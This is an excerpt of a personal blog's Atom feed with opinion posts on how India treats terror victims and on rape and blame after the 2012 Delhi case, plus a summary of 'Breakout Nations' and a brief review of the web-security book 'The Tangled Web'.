<a href="https://www.mid-day.com/news/2008/nov/281108-mumbai-terror-attack-list-dead-injured-casualty.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mid-day</a>.
One can try more such searches and the difference will be immediately obvious. As a nation, India has reduced the terror victims to numbers.
And that has lead to one of <strong>worst forms of desensitization towards terror attacks</strong>.</p>
<p>Few months back, women were on streets of New Delhi not because &ldquo;one&rdquo; woman was gang-raped (such &ldquo;one&quot;s happen just too often in the country/world) but because they were able to relate to the unfulfilled life story of &ldquo;a girl born in a poor family whose father sold his land so that, she can study. And she dares to break the New Delhi&rsquo;s norm of women not venturing after sunset.&rdquo; As humans, we learn to relate to other humans based on their life stories <strong>.</strong>
Imagine this for a while, rather than reducing these deaths to numbers, what if media had instead written about the &ldquo;engineer from a poor family background who got recently engaged&rdquo;. I am making this up but such a real story won&rsquo;t be impossible to find in say, Hyderabad blasts.</p>
<p>The lack of these stories acts as boon for anti-nationals like Arundhati Roy who write   
    
    
<a href="https://www.thehindu.com/opinion/lead/a-perfect-day-for-democracy/article4397705.ece?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">editorials</a> supporting Afzal Guru (hanged for 2001 Parliament Attack) - notice the implicit <em>life story</em> of Afzal Guru in the article.
These anti-nationals are able to create well-articulated life stories of these victims to which people claiming to be liberal/open-minded/forward-looking relate to.
When we reduce victims to numbers, we don&rsquo;t see them as humans any more, we don&rsquo;t think about the difficulties their immediate family members have to bear. No wonder Narasimha Rao, ex-Prime Minister of India, once said, &ldquo;It seems in this country only terrorists have human rights&rdquo;. As India loses the intellectual battle against terrorism, it loses losing the real battle on the ground as well.
This also hits back India in international diplomacy since foreigners would know bad as well as good life stories (sometimes completely fictional) about the hanged terrorists but the terror victims will be reduced to numbers and forgotten.</p>
<p>If Govt. of India or Indian media can start <strong>compiling life stories of these victims</strong>, it can target all the above issues. Indians will become more sensitive towards terrorist attacks, anti-nationals will lose their clout and foreigners will know more about the lives of who died.</p>
]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/society" term="society" label="society"/></entry><entry><title type="html">Random Thoughts: Rape and The Indian Blame Game</title><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/politics/beyond-numbers-dealing-with-terrorism/?utm_source=atom_feed" rel="related" type="text/html" title="Beyond Numbers: Dealing with terrorism in India"/><link href="https://ashishb.net/misc/the-female-foeticide/?utm_source=atom_feed" rel="related" type="text/html" title="Female Foeticide"/><link href="https://ashishb.net/misc/career-destination-of-iitians-usa-vs-india/?utm_source=atom_feed" rel="related" type="text/html" title="Career Destination of IITians: USA vs India"/><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Breakout Nations by Ruchir Sharma"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><id>https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/</id><author><name>Ashish Bhatia</name></author><published>2012-12-19T07:18:15+00:00</published><updated>2012-12-19T07:18:15+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the social and legal dynamics of rape in India post the Delhi gang-rape case, as society, policing, and moral deterrents are analyzed.</blockquote><p>After the   
    
    
<a href="https://web.archive.org/web/20130117170752/https://articles.timesofindia.indiatimes.com/2012-12-18/india/35889539_1_delhi-gang-private-bus-bus-driver?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Delhi gang-rape case</a>, there has been a sudden upsurge in traditional as well as social media over rape in India.
As usual in such cases, the initial reaction is to find someone to blame.
And in this case, the onus of the blame has been put on</p>
<ol>
<li>  
    
    
<a href="https://www.bbc.co.uk/news/world-asia-india-17398004?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Patriarchal Indian Society</a> - without realizing that more rapes happen in the not-so-patriarchal USA</li>
<li>  
    
    
<a href="https://www.thehindu.com/opinion/op-ed/rape-and-the-crisis-of-indian-masculinity/article4214267.ece?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indian masculinity</a> - <em>&ldquo;who feel threatened by women asserting their identity&rdquo;</em> without realizing that rapes happen even with   
    
    
<a href="https://www.hindustantimes.com/India-news/Kolkata/Infant-raped-near-Kolkata-s-Park-Street/Article1-936078.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">infants</a>,   
    
    
<a href="https://www.ndtv.com/article/cities/senior-citizen-rape-accused-in-police-remand-till-december-14-303712?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">senior citizens</a>,   
    
    
<a href="https://articles.timesofindia.indiatimes.com/2012-12-14/nagpur/35819388_1_neighbour-rapes-telgote-blind-girl?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">visually challenged</a>,   
    
    
<a href="https://articles.timesofindia.indiatimes.com/2012-12-02/chandigarh/35547810_1_mentally-disabled-girl-minor-girl-panipat?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mentally challenged</a> and homely women in conservative villages of   
    
    
<a href="https://ibnlive.in.com/news/haryana-20-rapes-in-40-days-victims-demand-speedy-trials/300960-3-240.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Haryana</a> to   
    
    
<a href="https://m.outlookindia.com/story.aspx?sid=1&amp;aid=781807&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kerala</a>.</li>
<li>  
    
    
<a href="https://zeenews.india.com/news/delhi/delhi-police-blamed-for-girls-rape-in-moving-bus_817190.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Indian Police</a> - as if police officials are   
    
    
<a href="https://en.wikipedia.org/wiki/Omniscience?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">omniscient</a> and should be present before the crime happens</li>
<li>  
    
    
<a href="https://www.hindustantimes.com/Entertainment/Music/Facebook-Twitter-campaign-demands-Honey-Singh-ban-for-lewd-lyrics/Article1-983065.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Honey Singh</a> - I am expecting a petition against   
    
    
<a href="https://en.wikipedia.org/wiki/V%C4%81tsy%C4%81yana?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vatsyayana</a> next</li>
</ol>
<p>This blog post is a collection of thoughts about the same.</p>
<p>Let&rsquo;s first begin with the fact that any crime has the following possible deterrent</p>
<ol>
<li>Moral/Personal (&ldquo;I cannot do it, its wrong&rdquo;)</li>
<li>Social (&ldquo;Society will ostracize me for doing this&rdquo;)</li>
<li>Legal (&ldquo;I will be sent to jail if I do this&rdquo;)</li>
<li>Fear of failure (&ldquo;I might fail in my attempt&rdquo;)</li>
</ol>
<p><strong>Moral</strong>
In case of a rape, the first reason is usually overcome by the sexual urge. A stronger moral character can, of course, resist the urge to commit the crime eg. its only due to strong moral character, little or no looting/theft happened in   
    
    
<a href="https://theweek.com/article/index/213154/why-is-there-no-looting-in-japan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">post-tsunami Japan</a>.</p>
<p><strong>Legal</strong>
There are three aspects of the Legal system</p>
<ol>
<li>Legislative
Do India lack strong laws to counter rape?
The   
    
    
<a href="https://indiatoday.intoday.in/story/rape-and-sexual-offences-crime-and-punishment-in-india/1/238406.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">maximum</a> term for punishment is life imprisonment.
Though under rarest of rare cases, the death penalty is   
    
    
<a href="https://indiatoday.intoday.in/story/chandigarh-youth-gets-death-for-rape-murder-of-75-year-old-woman/1/177635.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">possible</a>.
Of course, some petitioners   
    
    
<a href="https://www.change.org/en-IN/petitions/the-law-minister-hon-ble-home-minister-of-india-punishment-u-s-376?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">think</a> that this is not sufficient and the death penalty should be imposed without realizing that death penalties can lead to reduced conviction rate since [for a judge] taking someone&rsquo;s life requires more thorough check then putting the person behind bars from where he can re-appeal the decision. Also, let&rsquo;s not forget how stronger laws have more chances of being   
    
    
<a href="https://498a.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">abused</a>.</li>
<li>Executive
While people are busy   
    
    
<a href="https://zeenews.india.com/news/delhi/delhi-police-blamed-for-girls-rape-in-moving-bus_817190.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">blaming</a> Indian police, they fail to realize that India has   
    
    
<a href="https://en.wikipedia.org/wiki/List_of_countries_by_number_of_police_officers?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">only</a> 13 police officers per 10, 000 people. It is simply impossible for police to monitor each and every public spot and yes, rapes do happen at   
    
    
<a href="https://www.ndtv.com/article/cities/nine-year-old-girl-allegedly-raped-by-neighbour-in-mumbai-305908?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">home</a>. Even in the US, where there are ~26 police officers per 10, 000 people,  adjusted for population, rapes are ~15 times   
    
    
<a href="https://en.wikipedia.org/wiki/Rape_statistics?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">more</a> prevalent.
Note: Even if we assume rapes are under-reported by a factor of 10 in India as compared to the US, it still implies that the US still has much higher incidents of rape.</li>
<li>Judicial
Of course, neither on traditional media nor on social media, anyone has the   
    
    
<a href="https://web.archive.org/web/20121221165537/https://blog.tehelka.com/getting-away-with-rape/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">courage</a> to blame India&rsquo;s holier-than-thou judiciary. It is   
    
    
<a href="https://articles.timesofindia.indiatimes.com/2010-03-06/india/28143242_1_high-court-judges-literacy-rate-backlog?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">estimated</a> that at the current rate, India&rsquo;s elephantine judiciary have almost 300 years of pending court cases assuming no new cases are filed in those 300 years.   
    
    
<a href="https://www.judicialreforms.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">judicial reforms</a> can reduce this and hence <strong>create a   
    
    
<a href="https://en.wikipedia.org/wiki/Retributive_justice?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">retributive</a> deterrence</strong> but as pointed earlier that even in the USA where laws are way more strictly enforced, the incidents are much higher.</li>
</ol>
<p><strong>Social</strong>
So, everything boils down to social factor.
Turns out that social factors actually favor perpetrator in India, the victim is made to feel ashamed and jostling into never-ending rape case   
    
    
<a href="https://web.archive.org/web/20130310043007/https://tehelka.com/you-have-to-live-with-your-violated-body-you-have-to-live-with-the-memory-of-what-was-done-to-you/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">implies</a> her marriage will become an issue. Interestingly, one will never hear this &ldquo;marriage problem&rdquo; in case of the perpetrator.
<strong>The day society decides to look down upon perpetrator (instead of the victim), things will change</strong> and people who wish to commit rapes will have a stronger social resistance to overcome before they commit this crime. How many times have you seen this happening? [except in the rare incident of   
    
    
<a href="https://indiatoday.intoday.in/story/guwahati-molestation-case-amarjyoti-kalita-main-accused/1/210170.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Guwahati</a>   
    
    
<a href="https://www.hindustantimes.com/India-news/NewDelhi/Guwahati-case-FB-campaign-to-shame-culprits-heats-up/Article1-888772.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">molestation</a>].</p>
<p><strong>Fear of failure</strong> Just having a feeling that one might not succeed in his attempt can be a strong deterrent.
Therefore, introducing a deterrent in the form of a possibility of potential victim carrying pepper spray might work as well.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/society" term="society" label="society"/></entry><entry><title type="html">Book Summary: Breakout Nations by Ruchir Sharma</title><link href="https://ashishb.net/book-summary/breakout-nations/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><link href="https://ashishb.net/book-summary/india-unbound/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: India Unbound by Gurcharan Das"/><link href="https://ashishb.net/misc/random-thoughts-rape-and-the-indian-blame-game/?utm_source=atom_feed" rel="related" type="text/html" title="Random Thoughts: Rape and The Indian Blame Game"/><link href="https://ashishb.net/misc/the-female-foeticide/?utm_source=atom_feed" rel="related" type="text/html" title="Female Foeticide"/><link href="https://ashishb.net/tech/indian-startup-bubble/?utm_source=atom_feed" rel="related" type="text/html" title="The Indian startup bubble is insane"/><id>https://ashishb.net/book-summary/breakout-nations/</id><author><name>Ashish Bhatia</name></author><published>2012-09-29T11:42:53+00:00</published><updated>2012-09-29T11:42:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover insights from the past 50 years of economic events and predictions for the next decade. Explore the potential of emerging markets.</blockquote><p>The   
    
    
<a href="https://amzn.to/Qyrnxv?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> provides a nice summary of economic events of the recent past (~50 years) and builds upon the case for the coming 10 years.</p>
<p>The book is divided into 14 different chapters covering   
    
    
<a href="https://en.wikipedia.org/wiki/Emerging_markets?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">emerging</a> as well as   
    
    
<a href="https://en.wikipedia.org/wiki/Frontier_markets?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">frontier</a> nations, the latter being less liquid and smaller than emerging.</p>
<h2 id="the-myth-of-the-long-run">The Myth of the Long Run</h2>
<ol>
<li>All emerging markets are different - a herd approach to investing in &ldquo;emerging markets&rdquo; is dangerous; rather, each market should be analyzed individually.</li>
<li>Long-term predictions are essentially random - a lot can happen in the next 20 years or so, so any predictions made about 2050 are meaningless.</li>
<li>2003-2007 was the period in which credit was flowing into emerging markets - the stock market growth of that era is more due to cheap credit rather than structural reforms in these economies.</li>
</ol>
<h2 id="china">China</h2>
<p>China&rsquo;s annual growth rate will probably slow down to ~6%. Its aging population is, of course, a concern. Inflation is threatening long-term growth.
The ruling party is good enough to avoid a hard landing.</p>
<p>Rule: political leaders (and the government&rsquo;s stability) matter more than political ideologies.</p>
<h2 id="india">India</h2>
<p>The socialist schemes might take India down the path of the welfare state of   
    
    
<a href="https://en.wikipedia.org/wiki/Brazil#Early_republic?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Brazil</a> in 1970.
India is a   
    
    
<a href="https://en.wikipedia.org/wiki/High_context_culture?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">high-context</a> society, like Latin America, which is misleading for most foreigners.
Being more heterogeneous than, say, China or Brazil.
India is culturally more similar to the EU.
The missing infrastructure is bad since it leads to supply chain problems, leading to inflation, which further leads to less capital for investment in infrastructure.
The demographic dividend is overrated.</p>
<h2 id="brazil">Brazil</h2>
<p>Brazil is doing well because its only export &ldquo;commodities&rdquo; have become expensive due to the availability of cheap credit from central banks, which is fueling commodity speculation.
Infrastructure has become horrible. Cities are more expensive than in the developed world. CEOs use helipads for their commute. High-interest rates (to control inflation) reduce investment in infrastructure. High commodity prices further make the currency expensive and lead to a decline in manufacturing exports (   
    
    
<a href="https://en.wikipedia.org/wiki/Dutch_disease?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dutch disease</a>).</p>
<h2 id="mexico">Mexico</h2>
<p>A market dominated by a nexus of oligopolists and politicians.
Heavy net emigration (2.4 million in 2006-2012) due to bad internal security and a stagnating economy.</p>
<p>Rule: Rulers who have outlived their usefulness are dangerous since they are looking less to prove themselves and more to protect their position.</p>
<h2 id="russia">Russia</h2>
<p>Another country dominated by the nexus of oligopolists and politicians.
The middle class is missing (Russia has a disproportionately larger number of billionaires than millionaires). The economy got a recent boost due to (oil) commodity prices, but growth is not sustainable. The population is graying fast, infrastructure is poor, and sparse population density discourages big retail.</p>
<p>Rule: If a country generates a disproportionate number of billionaires, then something is wrong.</p>
<h2 id="europe">Europe</h2>
<p>The two emerging countries that have performed well in Europe are the Czech Republic and Poland - they controlled government debt and focused on the free market economy. Hungary has fared worse due to its government&rsquo;s approach to interfering with the economy.</p>
<p>Rule: Common currency (in this case, Euro) is bad for nations with lower productivity since, at the time of economic crisis, the government usually allows its currency to fall in price and hence, keep its exports competitive (and save wages and jobs). But since Euro members cannot make the currency cheaper on their own, this leads to an   
    
    
<a href="https://en.wikipedia.org/wiki/Internal_devaluation?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">internal devaluation</a> of the currency (fall in wages) to keep exports competitive.</p>
<h2 id="turkey">Turkey</h2>
<p>Since the arrival of the new Prime Minister   
    
    
<a href="https://en.wikipedia.org/wiki/Recep_Tayyip_Erdo%C4%9Fan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Erdoğan</a> in 2001, Turkey saw several major economic reforms, its exports are growing, and the ruling party has been able to develop a stronghold among both secular and Islamic voters. The future of Turkey looks bright.</p>
<h2 id="indonesia">Indonesia</h2>
<p>Indonesia used to be a commodity-exporting economy, but after the bust in rubber and tin prices in 1950, it focused more on its non-commodity exports.
Now, only ~25% are commodity exports. The country suffers from corruption, but it&rsquo;s very &ldquo;efficient&rdquo; (once you find the right person, work will be done).</p>
<p>Rule: The population of the second city must be at least one-third of the first city. Otherwise, it indicates unbalanced economic growth.</p>
<h2 id="the-philippines">The Philippines</h2>
<p>The Philippines is still stuck with crony capitalism, though with the new President Aquino, there is hope for change. The sudden development of the call center industry (~350, 000) is also a ray of hope.</p>
<h2 id="thailand">Thailand</h2>
<p>Thailand suffers from a strong regional imbalance between urban and rural populations; its domestic market is small, and hence, exports play a huge role in the economy, which caused the downturn in 2008. The future of Thailand is still doubtful.
Rule: A balanced economy should be devoid of excesses, even export excess becomes a liability (since the economy becomes vulnerable to a fall in exports).</p>
<h2 id="malaysia">Malaysia</h2>
<p>Malaysia decided not to fix its economy after the crisis of 1998 (and rather blamed it on a Jewish conspiracy). The economy is still not in good shape and is dominated by government spending. Foreign investment is falling. The strife between bumiputras (Malays) and Chinese/Indians is growing due to affirmative action in favor of Malays, leading to further tensions between the ethnicities.</p>
<p>Rule: When a financial crisis happens, money flows out in three phases.
The first ones to leave are local investors who move money through underground channels (due to rules limiting capital flow) - this shows up as  &ldquo;errors &amp; omissions&rdquo; in the balance of payments or over-reporting of imports /under-reporting of exports. Second is the foreign creditor, when they leave, short-term interbank loans from foreign banks slow down or reverse.
The last one to leave is foreign investors - they are easiest to spot, and the media usually have an eye on them; therefore, they get the blame (as in Malaysia in 1998).</p>
<h2 id="south-korea">South Korea</h2>
<p>An economy that has grown at 5% annually for 50 years (the only other one being Taiwan) while keeping a check on income inequality. Samsung, Hyundai, and LG alone account for 16% of the GDP. Unlike in Taiwan, Korean companies are increasingly outward-looking and have developed global brand names. Korea used the crisis of 1998 as a basis to clean up its economy; even companies like   
    
    
<a href="https://en.wikipedia.org/wiki/Daewoo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Daewoo</a> were not saved by the government. Interestingly, most Korean companies are family-controlled.
Taiwan, even though, has gained stronger control of the PC market, its manufacturers are commoditized name-less entities used by HP, Dell, and other brands who play these manufacturers against each other to maintain prices.</p>
<h2 id="south-africa">South Africa</h2>
<p>The ANC (African National Congress), which fought against Apartheid, is still enjoying dividends from the same and has no chance of getting displaced anytime soon, so the sense of complacency has overtaken it.
This is equivalent to the complacency that the Indian National Congress had in India since it takes almost a generation (~25 years) for the new generation of voters, who are not thankful to the old party, to emerge.
The economy has become more welfare-oriented, which is a bad sign in the long run.</p>
<p>Key point: If the local population is large but the companies are still going global, it might be a sign of national weakness (as in South Africa).</p>
<h2 id="other-countries">Other countries</h2>
<p><strong>The Fourth World</strong> Though most emerging markets move in sync, that does not hold for frontier markets.
The Cambodian Stock Exchange has only one company   
    
    
<a href="https://en.wikipedia.org/wiki/Cambodia_Securities_Exchange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">listed</a>.
That company also appeared two years after its creation.</p>
<p><strong>Laos</strong> has just two companies   
    
    
<a href="https://en.wikipedia.org/wiki/Lao_Securities_Exchange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">listed</a> on the stock exchange.</p>
<p><strong>Ukraine</strong> has 500 companies since it forced companies with more than 100 stockholders to list them and gave out a small free float of their stocks. This made the stock market a joke, and most companies that want to go public go to either London or Warsaw.</p>
<p><strong>Saudi Arabia</strong> is closed to foreign investors.</p>
<p>At the time of the financial crisis, emerging markets took either the   
    
    
<a href="https://en.wikipedia.org/wiki/Keynesian_economics?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Keynesian</a> view (of protecting the market) or the   
    
    
<a href="https://en.wikipedia.org/wiki/Friedrich_Hayek?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hayekian</a> view (of letting the market crash). But frontier economies simply close the markets, <strong>Nigeria</strong> did that in 2008. The same happened with <strong>Pakistan</strong> and <strong>Argentina</strong> in 2009 (both limited their trading). Most information about these markets is available in the form of rumors.</p>
<p><strong>Sri Lanka</strong> looks promising since the LTTE issue is resolved and will hopefully get a   
    
    
<a href="https://en.wikipedia.org/wiki/Peace_dividend?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">peace dividend</a> now.</p>
<p>The same goes for <strong>Uganda</strong> and <strong>Mozambique</strong>. <strong>Vietnam</strong> even though its wish to have Chinese-style economic growth has failed due to its inability to handle foreign inflows properly and take harsh steps like China to build infrastructure. An attempt to jump too fast (   
    
    
<a href="https://www.saigon-gpdaily.com.vn/Hochiminhcity/2010/10/86785/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Intel&rsquo;s plant</a>) has been an audacious attempt. The education system is still weak, and government spending is fueling inflation.</p>
<p><strong>African</strong> countries suffer from poor infrastructure and are primarily commodity exporters, but at least the emergence of democracy and the end of civil wars has given some hope.</p>
<p><strong>Nigeria</strong> has shown promise due to its strong leader (   
    
    
<a href="https://en.wikipedia.org/wiki/Goodluck_Jonathan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jonathan</a>) and stable government.</p>
<p><strong>The Middle East</strong> suffers from subsidies (people are paid instead of being taxed). <strong>Saudi Arabia</strong> n officials believe &ldquo;it&rsquo;s cheaper to provide subsidy than to build public transport&rdquo; and the country still imports refined gasoline since it has no refineries. <strong>Qatar</strong> has the world&rsquo;s highest per capita income (~100,  000 $ per annum) and still has had gas reserves for about two centuries. While nations are emphasizing oil funds and education (for the future), the citizens have become lazy due to subsidies, which is evident due to the large army of expat consultants who do everything for them. Investing in these markets is dangerous due to opaque books, murky rules, and too few good companies. Interestingly, none of these countries is susceptible to Dutch disease (due to a complete lack of exports in the first place).</p>
<p><strong>Predictions for coming years</strong> Commodities have lost price for ~200 years, but have seen a sudden upswing in the past 10 years. The fear of Chinese manufacturing surging commodities is overhyped since overall manufacturing is shrinking. Low-interest rates provide cheap money and thus, encourage investment in items based on scarcity (gold, oil, etc.) rather than productivity and thus, is fueling commodity speculations. Food prices might increase in the short run, but should go down in the long run (due to population stabilization), and a lot of countries in the emerging and frontier world still have ample room to improve productivity. Further, rising prices of gold and oil fuel further investment in their mining/exploration. The eventual crash in prices of commodities is evident and is commodity.com (similar to .com of 2000).</p>
<p>The strength of the <strong>USA</strong> lies in its strong R&amp;D, especially in   
    
    
<a href="https://online.wsj.com/article/SB10001424053111903480904576512250915629460.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">software</a> companies.</p>
<p><strong>Japanese</strong> companies are more inward-looking (e.g., mobile payments were started in 2004 in Japan, but no Japanese company launched it globally).</p>
<h2 id="the-third-coming">The Third Coming</h2>
<p>The phrase Emerging markets is pretty new from an investment standpoint.
Its first phase was from 1987 to 1994, followed by a dip from 1994 to 2002.
The second coming was from 2003 to 2007.
The third phase started in 2009 when markets are going to return smaller gains and smaller boom-bust cycles (~3 years).</p>
<p>The breakout nations could be</p>
<ol>
<li>The Czech Republic and South Korea - in the 20,000 to 25,000 $ income range</li>
<li>Turkey - in the 10,000 to 15,000 income range</li>
<li>Thailand - in the 5,000 to 10,000 income range</li>
<li>China, Malaysia, Sri Lanka, and Nigeria - in the under-5000 income range</li>
</ol>
<p>Inflation is expected to go down (in emerging markets) in the coming years. The increased integration of the global supply chain implies a strong correlation in economies and hence, more volatility. BRICS will not be able to come out as single political clout due to conflicting economic interests.</p>
<h2 id="a-few-issues-with-the-book">A few issues with the book</h2>
<ol>
<li><strong>Factual mistake</strong>: The author says that Google purchased Orkut in 2002, which is   
    
    
<a href="https://en.wikipedia.org/wiki/Orkut#Origins?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">incorrect</a>.</li>
<li>In the chapter on Sri Lanka, the author, while referring to the Sinhalese - Tamilian   
    
    
<a href="https://en.wikipedia.org/wiki/Liberation_Tigers_of_Tamil_Eelam?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">conflict</a> (which started in 1970), mocks (economic) analysts by saying that they know how to do financial modeling but fail to understand the societal conflicts leading to war. Weirdly, the author fails to mention the same for India. Any mention of a growing threat due to China or Islamic terrorism is completely missing.</li>
</ol>
<p>Overall, it&rsquo;s a nice book.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/economics" term="economics" label="economics"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/></entry><entry><title type="html">Book Review: The Tangled web</title><link href="https://ashishb.net/book-summary/the-tangled-web/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/in-the-plex/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: In the Plex by Steven Levy"/><link href="https://ashishb.net/book-summary/the-lean-startup/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The Lean Startup by Eric Ries"/><link href="https://ashishb.net/book-summary/remote-office-not-required/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Remote - office not required"/><link href="https://ashishb.net/book-summary/how-to-create-a-mind-by/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: How to create a mind by Ray Kurzweil"/><link href="https://ashishb.net/book-summary/winners-take-all-the-9-fundamental-rules-of-high-tech-strategy/?utm_source=atom_feed" rel="related" type="text/html" title="Winners Take All - The 9 fundamental rules of high tech strategy"/><id>https://ashishb.net/book-summary/the-tangled-web/</id><author><name>Ashish Bhatia</name></author><published>2012-08-25T19:58:54+00:00</published><updated>2012-08-25T19:58:54+00:00</updated><content type="html"><![CDATA[<blockquote>Dive into &ldquo;The Tangled Web&rdquo; by Michael Zalewski to unlock the complexities of web security. Ideal for enthusiasts tackling web transactions and HTML parsing.</blockquote><p>Just completed reading &quot;   
    
    
<a href="https://amzn.to/QMvq6r?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Tangled web: A guide to securing modern applications</a>&quot; by Michael Zalewski.</p>
<p>The book is surprisingly small given the amount of information it covers about the interaction of web browsers, websites, and client-side web technologies.</p>
<p>The book starts with a discussion of what a valid URL could look like (  
    
    
<a href="https://yahoo.com:80@google.com/microsoft.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://yahoo.com:80@google.com/microsoft.com</a> - think which site is being connected to here) and then discusses several fundamental building blocks of the modern web (like cookies) as well as standard technologies (like Flash) in depth. The issue of the same-origin policy and how it differs from DOM to the cookie to pseudo URLs are explained with amazing clarity.
One of the best things about this book is that it makes regular references to RFCs for authoritative answers and the corresponding deviant [and undefined] behavior implemented by the browsers.
The book also covers HTML5 security features in detail.
While reading the book, occasionally I felt information overload but I think the &ldquo;Tangled web&rdquo; and not the book &ldquo;Tangled web&rdquo; is responsible for that.</p>
<p>I would strongly recommend this book for anyone who deals with web[site] security as well as parsing HTML.</p>
